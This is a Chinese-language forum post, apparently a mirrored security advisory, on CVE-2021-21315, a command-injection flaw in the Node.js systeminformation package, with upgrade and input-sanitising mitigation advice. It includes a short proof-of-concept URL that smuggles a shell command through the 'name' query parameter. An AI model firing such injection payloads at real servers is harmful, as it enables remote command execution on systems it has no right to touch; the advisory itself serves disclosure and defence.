搜索

[20536] 2021-03-03_Node.js命令注入漏洞（CVE-2021-21315-POC）

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2021-03-03_Node.js命令注入漏洞（CVE-2021-21315-POC） N o d e . j s 命 令 注 入 漏 洞 （ C V E - 2 0 2 1 - 2 1 3 1 5 - P O C ） 忍 者   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 3 - 0 3 N o d e . j s 库 中 的 s y s t e m i n f o r m a t i o n 软 件 包 中 存 在 一 个 命 令 注 入 漏 洞 （ C V E - 2 0 2 1 - 2 1 3 1 5 ） 攻 击 者 可 以 通 过 「 s y s t e m i n f o r m a t i o n 」 中 代 码 注 入 漏 洞 的 存 在 意 味 着 攻 击 者 可 以 通 过 在 组 件 使 用 的 未 初 始 化 参 数 内 小 心 翼 翼 地 注 入 有 效 载 荷 来 执 行 系 统 命 令 。 P O C : [ P o C ] [ V i c t i m   S i t e ] / a p i / g e t S e r v i c e s ? n a m e = $ ( e c h o   - e   ' S e k u r a k '   >   p w n . t x t ) [ V i c t i m   S i t e ] / a p i / g e t S e r v i c e s ? n a m e [ ] = $ ( e c h o   - e   ' S e k u r a k '   >   p w n . t x t )
目 前 该 漏 洞 已 经 修 复 ， 将 s y s t e m i n f o r m a t i o n 及 时 升 级 到 5 . 3 . 1 或 更 高 版 本 。 h t t p s : / / w w w . n p m j s . c o m / p a c k a g e / s y s t e m i n f o r m a t i o n   缓 解 措 施 缓 解 措 施 如 果 无 法 升 级 ， 可 以 检 查 或 清 理 传 递 给 s i . i n e t L a t e n c y ( ) 、 s i . i n e t C h e c k s i t e ( ) 、 s i . s e r v i c e s ( ) 、 s i . p r o c e s s L o a d ( ) 的 参 数 ， 只 允 许 使 用 s t r i n g ， 拒 绝 任 何 数 组 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理